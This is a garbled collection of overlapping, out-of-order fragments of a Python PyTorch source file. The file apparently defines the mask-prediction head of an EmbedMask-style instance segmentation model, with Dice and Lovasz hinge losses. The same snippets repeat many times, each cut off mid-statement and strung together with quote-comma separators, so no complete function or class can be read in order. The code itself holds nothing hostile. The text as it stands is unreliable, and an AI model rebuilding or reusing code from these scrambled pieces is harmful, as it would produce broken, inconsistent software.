torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type =","+ [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def","= {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum()","= (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert","== 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum()","mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin =","= x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x,","import functional as F from torch import nn from torch.autograd import Variable from","self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\",","labels (0 or 1) \"\"\" if len(labels) == 0: # only void pixels,","Lovasz extension w.r.t sorted errors See Alg. 1 in paper \"\"\" p =","= proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1,",">= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride /","= target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1)","im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed =","mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0:","w.r.t sorted errors See Alg. 1 in paper \"\"\" p = len(gt_sorted) gts","gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0)","dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob =","adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0)","- jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits:","= instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0]","torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss","if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type","compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds","i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return","= torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg):","if len(labels) == 0: # only void pixels, the gradients should be 0","2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin","torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss","> 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard","obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1,","pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed","x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1)","Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x","= x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x","super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi","build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS","jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss","m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds]","- logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data","if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1]","labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm =","\"\"\" Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1","MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride =","= self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask","-1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target","= pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w,","** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. - (2","2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride","torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0)","(1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p >","= torch.log(x) - torch.log(1 - x) losses = [] for i in range(n_inst):","jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P]","x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses)","class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE","max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = [] for i","loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances,","* target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps","if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im","if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0","dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3,","= gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() *","(2 * intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of","n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection =","1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes","per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0:","Alg. 1 in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection =","2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride,","lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target","dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0","# cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits,","= mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean()","(pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride","torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None):","pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h,","intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz","target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss","range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class","* 0. signs = 2. * labels.float() - 1. errors = (1. -","(target ** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection /","for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) ==","proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1,","mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride %","p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return","1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\"","proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w =","= len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts","target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) -","elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] =","the gradients should be 0 return logits.sum() * 0. signs = 2. *","loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels","lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t sorted errors See Alg.","x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union =","prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary ground truth labels (0","(between -\\infty and +\\infty) labels: [P] Tensor, binary ground truth labels (0 or","self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances])","loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self,","target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) +","n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x =","self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type ==","return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride","pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean()","mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks =","** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert","= torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses =","signs = 2. * labels.float() - 1. errors = (1. - logits *","/ union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p]","pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob =","0 return logits.sum() * 0. signs = 2. * labels.float() - 1. errors","return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t sorted","+ pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride)","gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses else: if","1) \"\"\" if len(labels) == 0: # only void pixels, the gradients should","pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks","errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad","void pixels, the gradients should be 0 return logits.sum() * 0. signs =","cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type","* 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss","be 0 return logits.sum() * 0. signs = 2. * labels.float() - 1.","assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1),","pixels, the gradients should be 0 return logits.sum() * 0. signs = 2.","from torch.nn import functional as F from torch import nn from torch.autograd import","dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks)","gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum()","x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x =","= pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses","= pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed =","def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi =","dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses =","3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin =","1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2","gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype)","target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 -","1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob","- (2 * intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient","m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var =","self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask","torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred,","= [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss","import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x,","perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss","paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0)","mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3))","-\\infty and +\\infty) labels: [P] Tensor, binary ground truth labels (0 or 1)","mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances,","gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss =","for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg):","errors See Alg. 1 in paper \"\"\" p = len(gt_sorted) gts = gt_sorted.sum()","= loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob =","- torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i]))","2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. - (2 *","= dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses","gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection","torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances)","eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst,","-1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed","= proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed)","Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\\infty and","case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): \"\"\" Binary","= (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm","self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride):","0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else:","\"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses","loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension w.r.t sorted errors","pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h,","* proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0","extension w.r.t sorted errors See Alg. 1 in paper \"\"\" p = len(gt_sorted)","losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks =","def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds =","2.0).sum(dim=1) + eps loss = 1. - (2 * intersection / union) return","jaccard def lovasz_hinge(logits, labels): \"\"\" Binary Lovasz hinge loss logits: [P] Variable, logits","logits at each prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary ground","losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module):","logits: [P] Variable, logits at each prediction (between -\\infty and +\\infty) labels: [P]","= lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps =","0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type ==","= gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard =","m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed","mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride","target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x **","proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1,","dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob =","1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection","binary ground truth labels (0 or 1) \"\"\" if len(labels) == 0: #","logits.sum() * 0. signs = 2. * labels.float() - 1. errors = (1.","def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds =","self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if","eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst,","* intersection / union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the","0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed,","from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst =","mask_feat_stride) if self.mask_loss_type == \"Dice\": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif","proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) **","in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg)","> 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def","__init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST","= cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1]))","* self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed,","hinge loss logits: [P] Variable, logits at each prediction (between -\\infty and +\\infty)","return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__()","= lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses[\"loss_mask\"] = loss_mask * self.mask_loss_alpha return losses","\"\"\" p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union","= torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst =","loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst","= labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x,","losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 +","x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x *","torch.nn import functional as F from torch import nn from torch.autograd import Variable","/ union) return loss def lovasz_grad(gt_sorted): \"\"\" Computes gradient of the Lovasz extension","+\\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) \"\"\" if","return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin","instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num","\"\"\" if len(labels) == 0: # only void pixels, the gradients should be","torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = []","* 0 losses[\"loss_mask\"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type","x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps,","[] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def","= cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer(\"_iter\", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE","each prediction (between -\\infty and +\\infty) labels: [P] Tensor, binary ground truth labels","(0 or 1) \"\"\" if len(labels) == 0: # only void pixels, the","logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted","= gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 -","1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x","cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer(\"sizes_of_interest\", torch.tensor(soi + [soi[-1] * 2]))","{} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() *","= mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin","== 0: # only void pixels, the gradients should be 0 return logits.sum()","instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed","- gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. -","dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target","assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return","if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return","loss_mask = mask_losses.mean() elif self.mask_loss_type == \"Lovasz\": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask =","= pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses[\"loss_mask\"]","= 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1)","+ (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p","** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection / union)","- gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p > 1:","gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {}","= self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, 